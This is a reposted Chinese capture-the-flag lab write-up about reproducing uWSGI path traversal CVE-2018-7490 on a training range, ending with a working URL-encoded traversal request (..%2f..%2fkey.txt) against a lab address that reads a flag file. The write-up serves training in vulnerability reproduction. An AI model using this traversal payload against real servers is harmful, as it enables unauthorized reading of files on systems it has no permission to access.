墨者学院——WSGI 漏洞复现(CVE-2018-7490)
发布日期:2021-06-30 17:41:05 浏览次数:2 分类:技术文章

本文共 424 字,大约阅读时间需要 1 分钟。

此题不难,写wp的目的是为了记住uWSGL相关问题的方向

背景介绍

uWSGI是一个Web服务器,它实现了WSGI协议、uwsgi、http等协议。Nginx中HttpUwsgiModule的作用是与uWSGI服务器进行交换。WSGI是一种Web服务器网关接口。它是一个Web服务器(如nginx,uWSGI等服务器)与web应用(如用Flask框架写的程序)通信的一种规范。

实训目标

1、学会根据漏洞编号查找漏洞详情;

1、了解uWSGI CVE-2018-7490漏洞形成原理;
2、掌握uWSGI CVE-2018-7490漏洞利用方法;

解题方向

利用搜索工具了解CVE-2018-7490漏洞详情。再利用漏洞获取根目录key.txt的值。

在这里插入图片描述

../代表上一级目录,/的url编码为%2f,可以使用url编码来获取key值,所以将../改成..%2fhttp://219.153.49.228:43207/..%2f..%2fkey.txt

在这里插入图片描述

转载地址:https://leo-max.blog.csdn.net/article/details/104242361 如侵犯您的版权,请留言回复原文章的地址,我们会给您删除此文章,给您带来不便请您谅解!

上一篇:CGCTF——MYSQL
下一篇:墨者学院——phpMyAdmin后台文件包含分析溯源

发表评论

最新留言

很好
[***.229.124.182]2024年04月06日 19时05分36秒